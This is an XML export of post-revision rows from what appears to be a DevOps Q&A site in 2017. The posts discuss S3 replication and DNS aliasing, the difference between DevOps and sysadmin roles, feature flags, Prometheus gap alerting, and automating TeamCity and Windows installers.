  <row Id="413" PostHistoryTypeId="24" PostId="3" RevisionGUID="308dec2e-1111-4145-a03b-7cdcaab8bb8d" CreationDate="2017-03-01T10:18:53.893" Comment="Proposed by 10 approved by 6, 20 edit id of 28" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostHistoryTypeId="5" PostId="94" RevisionGUID="2351ed5f-39f5-4d6e-ba81-8154f7f0e46f" CreationDate="2017-03-01T10:26:22.737" UserId="40" Comment="integrate comment from OPer" Text="What is &quot;black box&quot; testing and how it is different from ordinary testing? For example black box tests prior to deploying to production.&#xD;&#xA;&#xD;&#xA;**Note**: &quot;black box&quot; testing is a common requirement when applying for devops roles (not necessary a tester thing)." ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostHistoryTypeId="24" PostId="94" RevisionGUID="2351ed5f-39f5-4d6e-ba81-8154f7f0e46f" CreationDate="2017-03-01T10:26:22.737" Comment="Proposed by 40 approved by 3 edit id of 34" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostHistoryTypeId="2" PostId="157" RevisionGUID="44c6a373-2306-4ff1-9456-52e87c226a14" CreationDate="2017-03-01T10:33:21.537" UserId="3" Text="A system administrator and devops person both dealing with server configuration and reliable operation of computer systems, so it could be confusing. What are the main differences between these two roles? How to distinguish them?" ContentLicense="CC BY-SA 3.0" />
  <row Id="417" PostHistoryTypeId="1" PostId="157" RevisionGUID="44c6a373-2306-4ff1-9456-52e87c226a14" CreationDate="2017-03-01T10:33:21.537" UserId="3" Text="What is the difference between sysadmin and a devops person?" ContentLicense="CC BY-SA 3.0" />
  <row Id="418" PostHistoryTypeId="3" PostId="157" RevisionGUID="44c6a373-2306-4ff1-9456-52e87c226a14" CreationDate="2017-03-01T10:33:21.537" UserId="3" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostHistoryTypeId="2" PostId="158" RevisionGUID="420d65c3-33c5-4bf4-9897-7e024dd54367" CreationDate="2017-03-01T10:36:16.243" UserId="63" Text="Most of the SDKs mentioned support constructing a custom endpoint, for example as described here for Node.JS: http://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/Endpoint.html&#xD;&#xA;&#xD;&#xA;Setting it to https://storage.googleapis.com and using your GCP access credentials should enable you to operate the Google storage backend service &quot;like S3&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="420" PostHistoryTypeId="2" PostId="159" RevisionGUID="5abb20cd-b132-4455-9d45-d6d215e281b3" CreationDate="2017-03-01T10:40:44.937" UserId="13" Text="The rant is not really due to replication or availability of datas, the main existing problem of s3 is the [autoaliasing feature](http://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html) which allow a bucket to be accessed by the form `http://bucketname.s3.amazonaws.com` &#xD;&#xA;&#xD;&#xA;This allow to host within your domain files coming from S3:&#xD;&#xA;&#xD;&#xA;&gt; Furthermore, by naming your bucket after your registered domain name&#xD;&#xA;&gt; and by making that name a DNS alias for Amazon S3, you can completely&#xD;&#xA;&gt; customize the URL of your Amazon S3 resources, for example,&#xD;&#xA;&gt; http://my.bucketname.com/.&#xD;&#xA;&#xD;&#xA;This remove problems for CORS and some other security implication of loading datas from different domains.&#xD;&#xA;&#xD;&#xA;The drawback come from the note below:&#xD;&#xA;&#xD;&#xA;&gt; Amazon S3 routes any virtual hosted–style requests to the US East&#xD;&#xA;&gt; (N. Virginia) region by default if you use the US East (N. Virginia)&#xD;&#xA;&gt; endpoint (s3.amazonaws.com), instead of the region-specific endpoint&#xD;&#xA;&gt; (for example, s3-eu-west-1.amazonaws.com).&#xD;&#xA;&#xD;&#xA;So even if the theory would say that when you use a region specific endpoint as dns alias it would work, when you use replication you let AWS takes care of routing the alias to one region.  &#xD;&#xA;And whenever N.Virginia is down, the magic cease to work and you're out of luck to access your data in any up region by the usual method.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostHistoryTypeId="2" PostId="160" RevisionGUID="158e51cb-f9d0-4aaa-b803-906d52effe23" CreationDate="2017-03-01T10:47:01.327" UserId="13" Text="Mainly DevOps is not a role (when used as such it's more a buzzword than a real role).&#xD;&#xA;&#xD;&#xA;DevOps is roughly an organization pattern aiming at breaking the silo between developers and sysadmins.  &#xD;&#xA;The main goal is to build teams with devs and sysadmins (along with testers usually) responsible for a product (application) from its definition, architecture decisions up to the maintenance in run of this product.  &#xD;&#xA;Each member of the team will be part of the decision on the whole life-cycle of the product, a dev will do some sysadmin tasks in production, and a sysadmin will participate  in the design phase of the product to avoid caveats from the infrastructure perspective for example.&#xD;&#xA;&#xD;&#xA;At ideal, a sysadmin would also be part of the development team for the product, in real world sysadmin code more on the configuration around the product and monitoring solutions, but being able to voice concerns to other members of the team avoid a lot of misunderstanding on the deployment process.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="422" PostHistoryTypeId="5" PostId="135" RevisionGUID="77fa42d0-7a0a-4ff6-96f6-74ab8d622b5c" CreationDate="2017-03-01T11:01:53.683" UserId="44" Comment="fixed grammar, rewrite for better readability" Text="Amazon S3 has an option of cross-region replication which should be pretty fault-tolerant against region/zone outages.&#xD;&#xA;&#xD;&#xA;Does that mean those who are ranting about the outage did not make use of this aspect?&#xD;&#xA;&#xD;&#xA;Or is that cross-region replication is not completely fool-proof and would not have helped?" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostHistoryTypeId="24" PostId="135" RevisionGUID="77fa42d0-7a0a-4ff6-96f6-74ab8d622b5c" CreationDate="2017-03-01T11:01:53.683" Comment="Proposed by 44 approved by 46 edit id of 39" ContentLicense="CC BY-SA 3.0" />
  <row Id="424" PostHistoryTypeId="5" PostId="124" RevisionGUID="2c5df8e1-15c6-414a-ab68-26911223e3fe" CreationDate="2017-03-01T11:03:08.357" UserId="3" Comment="Not a code." Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to CloudWatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be HIPPA compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA; 1. Once my S3 bucket gets a file,&#xD;&#xA; 2. Fire up a lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA; 3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practise? Or is there a better work-around?** (Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="425" PostHistoryTypeId="24" PostId="124" RevisionGUID="2c5df8e1-15c6-414a-ab68-26911223e3fe" CreationDate="2017-03-01T11:03:08.357" Comment="Proposed by 3 approved by -1 edit id of 40" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostHistoryTypeId="5" PostId="124" RevisionGUID="c2fa19d2-8fb8-4b62-89ad-e8349dbc78ed" CreationDate="2017-03-01T11:03:08.357" UserId="46" Comment="Not a code." Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to CloudWatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be HIPPA compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA;&gt;  1. Once my S3 bucket gets a file,&#xD;&#xA;&gt;  2. Fire up a lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA;&gt;  3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practise? Or is there a better work-around?** (Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="427" PostHistoryTypeId="5" PostId="78" RevisionGUID="30da3161-7ff4-4bab-9e48-c1c2d23be0a1" CreationDate="2017-03-01T11:07:02.967" UserId="3" Comment="added 7 characters in body" Text="There is a popular DevOps phrase: &quot;Release early and often.&quot; (see [web results][1]). Where does this phrase come from?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://duckduckgo.com/?q=%22Release%20early%20and%20often.%22" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostHistoryTypeId="2" PostId="161" RevisionGUID="1cf476ba-9ea0-42bd-97e0-6a6c71b8d4a9" CreationDate="2017-03-01T11:16:03.497" UserId="63" Text="A judicious usage of one of the cloud &quot;orchestration&quot; tools, such as [Terraform](https://www.terraform.io/) or possibly [Fugue](https://fugue.co/) seems to be the best way.&#xD;&#xA;&#xD;&#xA;You can start small, pick a less important and not very extensive environment, carefully decipher it into automatable code and proceed from there.&#xD;&#xA;&#xD;&#xA;Broadly this is referred to as infrastructure-as-code, for googling and other buzzword-oriented media applications.&#xD;&#xA;&#xD;&#xA;More specifically, say, if you had your environment described in Terraform's HCL files, you would have required ID's exported as &quot;outputs&quot; and could operate on those from scripts/Jenkins jobs/etc" ContentLicense="CC BY-SA 3.0" />
  <row Id="430" PostHistoryTypeId="10" PostId="94" RevisionGUID="568a64e7-66f9-4421-a10a-9eb852eae22f" CreationDate="2017-03-01T11:20:16.317" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:293,&quot;DisplayName&quot;:&quot;Rsf&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;}]}" />
  <row Id="431" PostHistoryTypeId="2" PostId="162" RevisionGUID="fe6f9cb0-b925-4a4f-a2da-ed4892d9d49d" CreationDate="2017-03-01T11:30:32.597" UserId="6" Text="What are the different ways to use feature flag toggles in applications. If you would need to explain to a developer the exact things he needs to do in order to get from none to full feature-flag-toggled application, what would those steps be?" ContentLicense="CC BY-SA 3.0" />
  <row Id="432" PostHistoryTypeId="1" PostId="162" RevisionGUID="fe6f9cb0-b925-4a4f-a2da-ed4892d9d49d" CreationDate="2017-03-01T11:30:32.597" UserId="6" Text="How to use feature flag toggles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="433" PostHistoryTypeId="3" PostId="162" RevisionGUID="fe6f9cb0-b925-4a4f-a2da-ed4892d9d49d" CreationDate="2017-03-01T11:30:32.597" UserId="6" Text="&lt;feature-flags&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="434" PostHistoryTypeId="4" PostId="16" RevisionGUID="df09762c-a676-4971-b82a-54ae6938158d" CreationDate="2017-03-01T11:32:45.073" UserId="6" Comment="rename title to not include an non-related term (continuous delivery) and focus on actual question" Text="How can I keep track of my Cloud Resource use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="435" PostHistoryTypeId="6" PostId="16" RevisionGUID="df09762c-a676-4971-b82a-54ae6938158d" CreationDate="2017-03-01T11:32:45.073" UserId="6" Comment="rename title to not include an non-related term (continuous delivery) and focus on actual question" Text="&lt;continuous-integration&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="436" PostHistoryTypeId="2" PostId="163" RevisionGUID="ac42e194-bcb6-4df8-8f05-fe41b2df9653" CreationDate="2017-03-01T11:39:49.987" UserId="6" Text="Netflix have presented their method of dealing with the problem of resource sprawl. They created the [Janitor Monkey][1] which is responsible to clean-up resources when it is apparent that those are not being used.&#xD;&#xA;&#xD;&#xA;To track the created resources in Amazon AWS, generate an audit log, and allow to search through time (and history) they also created [Edda][2]. Edda allows to store and search through your AWS resources.&#xD;&#xA;&#xD;&#xA;There is some mention that Janitor Monkey might be integrated with Edda, but they have not published much information about these since.&#xD;&#xA;&#xD;&#xA;Today with [AWS CloudTrail][3] and [AWS Config Rules][4] it is possible to achieve similar results without third-party software. When Edda and Janitor Monkey were announced (2012-2013) both of these services were not yet ready to solve these kinds of problems.&#xD;&#xA;&#xD;&#xA;With CloudTrail and Config, the tracking of resources is already in place. All to do is write a script that will decide what to do with these by going over the list from time to time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://techblog.netflix.com/2013/01/janitor-monkey-keeping-cloud-tidy-and.html&#xD;&#xA;  [2]: http://techblog.netflix.com/2012/11/edda-learn-stories-of-your-cloud.html&#xD;&#xA;  [3]: https://aws.amazon.com/cloudtrail/&#xD;&#xA;  [4]: https://aws.amazon.com/config/" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostHistoryTypeId="2" PostId="164" RevisionGUID="28c1b9c7-eb90-4cf0-9ab5-edde6e804f62" CreationDate="2017-03-01T11:57:54.623" UserId="3" Text="[JetBrains TeamCity docker image][1] describe build steps for already installed TeamCity.&#xD;&#xA;&#xD;&#xA;Is there any way to automate installation of TeamCity it-self?&#xD;&#xA;&#xD;&#xA;For example creating the admin account, enabling standard authentication and setting up the project?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kennedyoliveira/jetbrains-teamcity-docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostHistoryTypeId="1" PostId="164" RevisionGUID="28c1b9c7-eb90-4cf0-9ab5-edde6e804f62" CreationDate="2017-03-01T11:57:54.623" UserId="3" Text="How to automate TeamCity installation using docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="439" PostHistoryTypeId="3" PostId="164" RevisionGUID="28c1b9c7-eb90-4cf0-9ab5-edde6e804f62" CreationDate="2017-03-01T11:57:54.623" UserId="3" Text="&lt;docker&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="440" PostHistoryTypeId="5" PostId="88" RevisionGUID="65318519-2819-4bc0-9e3f-3e4e93e231e5" CreationDate="2017-03-01T12:02:44.610" UserId="3" Comment="Adds image." Text="Adding the following *Script* command in *Post-build Action*, *Post build task* solved the problem:&#xD;&#xA;&#xD;&#xA;    vagrant destroy -f&#xD;&#xA;&#xD;&#xA;Plus adding rule with *Log text* as &quot;Build was aborted&quot; make sure that above command is only invoked on aborted builds.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;[![Jenkins, screenshot Script, Post-build Action, Log text, Build was aborted][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/40brUl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostHistoryTypeId="5" PostId="87" RevisionGUID="07e6f44c-74be-43af-b017-21bdf811329d" CreationDate="2017-03-01T12:07:25.037" UserId="3" Comment="Clarifies more." Text="I've freestyle jobs which aims to run EC2 instances via Vagrant (`vagrant up`), however when I cancel the job manually (by clicking X button), the instances on EC2 are still running. How can I make sure that the instances are terminated when the job is cancelled?" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostHistoryTypeId="5" PostId="88" RevisionGUID="8642828c-768b-43df-b87f-b92795efb183" CreationDate="2017-03-01T12:09:16.020" UserId="3" Comment="Adds clarification." Text="This can be achieved by using [Post build task][1] plugin and by adding the following *Script* command in *Post-build Action*, *Post build task* solved the problem:&#xD;&#xA;&#xD;&#xA;    vagrant destroy -f&#xD;&#xA;&#xD;&#xA;Plus adding rule with *Log text* as &quot;Build was aborted&quot; make sure that above command is only invoked on aborted builds.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;[![Jenkins, screenshot Script, Post-build Action, Log text, Build was aborted][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Post+build+task&#xD;&#xA;  [2]: https://i.stack.imgur.com/40brUl.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="443" PostHistoryTypeId="5" PostId="159" RevisionGUID="1916d0e1-8a65-4ea5-b8d7-0300024aaef6" CreationDate="2017-03-01T12:31:23.140" UserId="13" Comment="added 781 characters in body" Text="The rant is not really due to replication or availability of datas, the main existing problem of s3 is the [autoaliasing feature](http://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html) which allow a bucket to be accessed by the form `http://bucketname.s3.amazonaws.com` &#xD;&#xA;&#xD;&#xA;This allow to host within your domain files coming from S3:&#xD;&#xA;&#xD;&#xA;&gt; Furthermore, by naming your bucket after your registered domain name&#xD;&#xA;&gt; and by making that name a DNS alias for Amazon S3, you can completely&#xD;&#xA;&gt; customize the URL of your Amazon S3 resources, for example,&#xD;&#xA;&gt; http://my.bucketname.com/.&#xD;&#xA;&#xD;&#xA;This remove problems for CORS and some other security implication of loading datas from different domains.&#xD;&#xA;&#xD;&#xA;The drawback come from the note below:&#xD;&#xA;&#xD;&#xA;&gt; Amazon S3 routes any virtual hosted–style requests to the US East&#xD;&#xA;&gt; (N. Virginia) region by default if you use the US East (N. Virginia)&#xD;&#xA;&gt; endpoint (s3.amazonaws.com), instead of the region-specific endpoint&#xD;&#xA;&gt; (for example, s3-eu-west-1.amazonaws.com).&#xD;&#xA;&#xD;&#xA;So even if the theory would say that when you use a region specific endpoint as dns alias it would work, when you use replication you let AWS takes care of routing the alias to one region.  &#xD;&#xA;Even if in theory you could use CNAME to region endpoints, the authoritative answer rely on the service in N.Virginia as far as I know and I've read about it (Auth. ref. needed if someone have it).&#xD;&#xA;&#xD;&#xA;Whenever N.Virginia is down, the magic cease to work and you're out of luck to access your data in any region by the DNS alias method.&#xD;&#xA;&#xD;&#xA;When you aliases to the regions, you loose the ease of load balancing over regions with the health check from AWS included.  &#xD;&#xA; &#xD;&#xA;If you use DNS cname targeting the regions to switch quickly, you're responsible of your DNS TTL but nothing guarantee cache servers of client ISP will honor your value (one of many cache your client may encounter).  &#xD;&#xA;&#xD;&#xA;And lastly, if you try to load balance yourself you'll probably create the same SPOF than AWS already have with the added burden of maintaining it.  &#xD;&#xA;&#xD;&#xA;AWS is working on it but that's all the information I have at time of writing. " ContentLicense="CC BY-SA 3.0" />
  <row Id="444" PostHistoryTypeId="2" PostId="165" RevisionGUID="c9d4d087-91c5-47b1-a0a5-ee20828d9145" CreationDate="2017-03-01T12:36:40.930" UserId="72" Text="Automation of installations like this can often be done with config management tools.  GitHub and the public repos for these tools is a good place to start.&#xD;&#xA;&#xD;&#xA;There is a Puppet installer for TeamCity here: https://github.com/haf/puppet-teamcity&#xD;&#xA;&#xD;&#xA;Here's a Chef cookbook:&#xD;&#xA;https://supermarket.chef.io/cookbooks/chef-teamcity&#xD;&#xA;&#xD;&#xA;You can also use tools like Packer to generate your image(s).  Packer can substitute for a Dockerfile in generating a Docker image. Packer will also run Provisioners (including Chef/Puppet/Ansible) to configure your image.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostHistoryTypeId="5" PostId="149" RevisionGUID="fd728d05-9e1a-4b4c-8797-c8a2bc375c3c" CreationDate="2017-03-01T12:38:17.830" UserId="278" Comment="Added illustration of the issue" Text="I have been gradually integrating [Prometheus](https://prometheus.io/) into my monitoring workflows, in order to gather detailed metrics about running infrastructure.&#xD;&#xA;&#xD;&#xA;During this, I have noticed that I often run into a peculiar issue: sometimes an exporter that Prometheus is supposed to pull data from becomes unresponsive. Maybe because of a network misconfiguration - it is no longer accessible - or just because the exporter crashed.&#xD;&#xA;&#xD;&#xA;Whatever the reason it may be, I find that some of the data I expect to see in Prometheus is missing and there is nothing in the series for a certain time period. Sometimes, one exporter failing (timing out?) also seems to cause others to fail (first timeout pushed entire job above top-level timeout? just speculating).&#xD;&#xA;&#xD;&#xA;[![Gap in data][1]][1]&#xD;&#xA;&#xD;&#xA;All I see is a gap in the series, like shown in the above visualization. There is nothing in the log when this happens. Prometheus self-metrics also seem fairly barren. I have just had to resort to manually trying to replicate what Prometheus is doing and seeing where it breaks. This is irksome. There must be a better way! While I do not need realtime alerts, I at least want to be able to see that an exporter failed to deliver data. Even a boolean &quot;hey check your data&quot; flag would be a start.&#xD;&#xA;&#xD;&#xA;How do I obtain meaningful information about Prometheus failing to obtain data from exporters? How do I understand why gaps exist without having to perform a manual simulation of Prometheus data gathering? What are the sensible practices in this regard, perhaps even when extended to monitoring data collections in general, beyond Prometheus?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/BqcdB.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostHistoryTypeId="2" PostId="166" RevisionGUID="f30fded5-d143-40c9-b807-6c153c338f7f" CreationDate="2017-03-01T12:41:34.863" UserId="13" Text="The steps are quite &quot;easy&quot;, to move to a feature flag app you need basically two things:&#xD;&#xA;&#xD;&#xA; 1. A flag repository (file/data base/env variable)&#xD;&#xA; 2. Conditional statements to change the behavior according to the flag.&#xD;&#xA;&#xD;&#xA;The basic of feature flag is to turn them on/off, but quickly you'll wish to release a new feature in a ramp-up manner (1 server on 5 hosting the app have the feature on to start, until 5 on 5 have it).&#xD;&#xA;&#xD;&#xA;This mean you have to be careful about your feature being compatible with the app without it (extra column in DB for example).&#xD;&#xA;&#xD;&#xA;Frameworks exists in various languages to avoid reinventing the wheel, the now un-maintained one from Etsy's have an interesting [readme](https://github.com/etsy/feature) to explain how it works." ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostHistoryTypeId="2" PostId="167" RevisionGUID="5bc53549-1959-47a4-b099-926561bacada" CreationDate="2017-03-01T13:04:33.890" UserId="13" Text="I think your can do some kind of alerting on a metric `rate` with something like this:&#xD;&#xA;&#xD;&#xA;    ALERT DropInMetricsFromExporter&#xD;&#xA;      IF rate(&lt;metric_name&gt;[1m]) == 0&#xD;&#xA;      FOR 3m&#xD;&#xA;      ANNOTATIONS {&#xD;&#xA;        summary = &quot;Rate of metrics is 0 {{ $labels.&lt;your_label&gt; }}&quot;,&#xD;&#xA;        description = &quot;Rate of metric dropped, actually: {{ $value }}%&quot;,&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The main idea is to alert whenever the metric rate is at 0 for 3 minutes, with the proper metric name and a label somewhere telling from which exporter it comes it should give you the correct information.  &#xD;&#xA;&#xD;&#xA;Choosing the right metric to monitor by exporter could be complex, without more insight is hard to give a better advice out of vacuum.  &#xD;&#xA;This [blog post](https://prometheus.io/blog/2015/06/18/practical-anomaly-detection/) could be an inspiration also for a more generic detection." ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostHistoryTypeId="2" PostId="169" RevisionGUID="7b73ece5-ed41-4e1b-8de3-2dc0e9fbcdeb" CreationDate="2017-03-01T13:25:38.343" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostHistoryTypeId="1" PostId="169" RevisionGUID="7b73ece5-ed41-4e1b-8de3-2dc0e9fbcdeb" CreationDate="2017-03-01T13:25:38.343" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="453" PostHistoryTypeId="2" PostId="170" RevisionGUID="e944252b-04eb-4bc6-aee5-da70dbfd27ea" CreationDate="2017-03-01T13:25:38.343" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="454" PostHistoryTypeId="1" PostId="170" RevisionGUID="e944252b-04eb-4bc6-aee5-da70dbfd27ea" CreationDate="2017-03-01T13:25:38.343" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostHistoryTypeId="2" PostId="171" RevisionGUID="f4e80636-4fa6-4c81-b6a2-bdd8865514d8" CreationDate="2017-03-01T13:37:08.573" UserId="271" Text="It is a common scenario that the codebase of a product held by a [tag:repository] in some VCS system evolves to a point where that codebase can arguably be seen as containing several products.  Splitting the codebase across several VCS repositories, each dedicated to a single product, can leverage several benefits (see *Benefits of having a product per VCS repository over the bloat repository model* below). On the technical side, splitting the codebase is a rather easy step as most VCS support this operation. The split however might rise engineering issues related to automated testing, continuous delivery, service integration or monitoring (see *Issues raised by the split*.)  Organisations planning to perform such a split therefore need to know how to perform this transition as smoothly as possible, that is, without interrupting their delivery and monitoring pipeline.  The first step of this is probably to better understand the notion of *project* and how to delineate the split in a monolithic codebase.&#xD;&#xA;&#xD;&#xA;In the answers to this questions, I would like to see:&#xD;&#xA;&#xD;&#xA;1. An attempt to give a working definition of what a product is, which gives practical criterions to actually delineate products in an existing codebase. &#xD;&#xA;&#xD;&#xA;2. According to this working definition, elaborate a plan that actually perform the split. We can make the simplifying assumption that the codebase is processed by a fully automated [tag:sdlc] implementing [tag:continuous-integration] and [tag:continuous-delivery]. That is, each branch is validated by an automated testsuite implemented in the current codebase and each merge to some “magic” branch generate [tag:product-artefacts] that are tested and deployed. (*Product artefacts* are *e.g.* source tarballs, documentation, binary software packages, **Docker** images, AMIs, unikernels.)&#xD;&#xA;&#xD;&#xA;3. Such a plan is satisfying if it explains how to circumvent the&#xD;&#xA;&#xD;&#xA;## Issues raised by the split&#xD;&#xA;&#xD;&#xA;1. How automated testing procedures relate to the pre-existing monolithic repository and the split repositories?&#xD;&#xA;&#xD;&#xA;2. How automated deployment procedures relate to the pre-existing monolithic repository and the split repositories?&#xD;&#xA;&#xD;&#xA;3. Where is stored the code for automated deployment procedures themselves? &#xD;&#xA;&#xD;&#xA;4. Where are stored [tag:infrastructure], [tag:monitoring] and [tag:high-availability] strategies?&#xD;&#xA;&#xD;&#xA;5. How to ensure that a developer needs only one codebase at a time (but possible uses artefacts from other codebases).&#xD;&#xA;&#xD;&#xA;6. How can a tool like **git-bisect** &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;## Marginal note: Benefits of having a product per VCS repository over the bloat repository model&#xD;&#xA;&#xD;&#xA;Having several small repositories holding the codebase for a specific product has the following advantages over the “bloat repository” approach:&#xD;&#xA;&#xD;&#xA;1. With a bloat repository it is hard to roll back a release when a product is unstable, because history is mixed with other product history.&#xD;&#xA;&#xD;&#xA;2. With a bloat repository, it is hard to review project history or pulls, with small repositories, we are more likely to read this information. (This might be specific to VCS like git, where unlike svn, we cannot checkout subtrees!)&#xD;&#xA;&#xD;&#xA;3. With a bloat repository, we have to do much more branch-dance when we develop. If we have N repositories we can work in parallel on N branches, if we have only 1 repository we only can work on one branch, or have a load of working copies which also are a hassle to handle.&#xD;&#xA;&#xD;&#xA;4. With several small repositories, the logs give a heat map of the project. They can even be used as a proxy of knowledge diffusion in the dev team: if I did not commit in repo X since 3 months, it could be good to assign me in a team working on repo X so that I stay aware of the developments in that component.&#xD;&#xA;&#xD;&#xA;5. With small repositories, it is easier to gain a clear overview of a component. If everything goes in a single big repository, there is no tangible artefact delineating each component, and the codebase can easily drift towards [the big ball of mud](http://www.laputan.org/mud/).&#xD;&#xA;&#xD;&#xA;6. Small repositories force us to work on interfaces between components. But since we want to have a good capsulation, this is a work we should do anyway, so I would count this as an advantage for small repositories.&#xD;&#xA;&#xD;&#xA;7. With several small repositories, it is easier to have several product owners.&#xD;&#xA;&#xD;&#xA;8. With several small repositories, it is easier to have simple code standards that are pertinent to a full repository and that can be automatically verified.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostHistoryTypeId="1" PostId="171" RevisionGUID="f4e80636-4fa6-4c81-b6a2-bdd8865514d8" CreationDate="2017-03-01T13:37:08.573" UserId="271" Text="How to achieve a smooth transition from “the one big VCS repository for all products” organisation model to the “many small VCS repositories” model?" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostHistoryTypeId="3" PostId="171" RevisionGUID="f4e80636-4fa6-4c81-b6a2-bdd8865514d8" CreationDate="2017-03-01T13:37:08.573" UserId="271" Text="&lt;deployment&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="461" PostHistoryTypeId="2" PostId="172" RevisionGUID="b36dd3a5-3546-48d1-a71b-f6142424a0e7" CreationDate="2017-03-01T13:56:49.463" UserId="3" Text="The installation of Windows application can be automated using [AutoHotkey][1] (AHK), similar as [Winetricks][2] does it) does it for all common apps where installation is automated.&#xD;&#xA;&#xD;&#xA;Here is example of AHK script which aims to install mentioned application:&#xD;&#xA;&#xD;&#xA;    Run, mt5setup.exe&#xD;&#xA;    WinWait, MetaTrader 5 Setup&#xD;&#xA;    ControlClick, Button1&#xD;&#xA;    Sleep 100&#xD;&#xA;    ControlClick, Button3&#xD;&#xA;    WinWait, MetaTrader 5 Setup, Installation successfully completed&#xD;&#xA;    ControlClick, Button4&#xD;&#xA;    Process, Wait, terminal.exe&#xD;&#xA;    Process, Close, terminal.exe&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://autohotkey.com/&#xD;&#xA;  [2]: https://github.com/Winetricks/winetricks/blob/master/src/winetricks" ContentLicense="CC BY-SA 3.0" />
  <row Id="462" PostHistoryTypeId="5" PostId="172" RevisionGUID="940919b1-47bd-41ae-9329-fceedb6a992f" CreationDate="2017-03-01T14:02:39.017" UserId="3" Comment="added 504 characters in body" Text="The installation of Windows application can be automated using [AutoHotkey][1] (AHK), similar as [Winetricks][2] does it) does it for all common apps where installation is automated.&#xD;&#xA;&#xD;&#xA;Here is example of AHK script which aims to install mentioned application:&#xD;&#xA;&#xD;&#xA;    Run, mt5setup.exe&#xD;&#xA;    WinWait, MetaTrader 5 Setup&#xD;&#xA;    ControlClick, Button1&#xD;&#xA;    Sleep 100&#xD;&#xA;    ControlClick, Button3&#xD;&#xA;    WinWait, MetaTrader 5 Setup, Installation successfully completed&#xD;&#xA;    ControlClick, Button4&#xD;&#xA;    Process, Wait, terminal.exe&#xD;&#xA;    Process, Close, terminal.exe&#xD;&#xA;&#xD;&#xA;To integrate it with CI, AHK needs to be installed by downloading ZIP file, uncompressing it and passing the above AHK script. Suggested `appveyor.yml` file:&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;    - curl -sLo 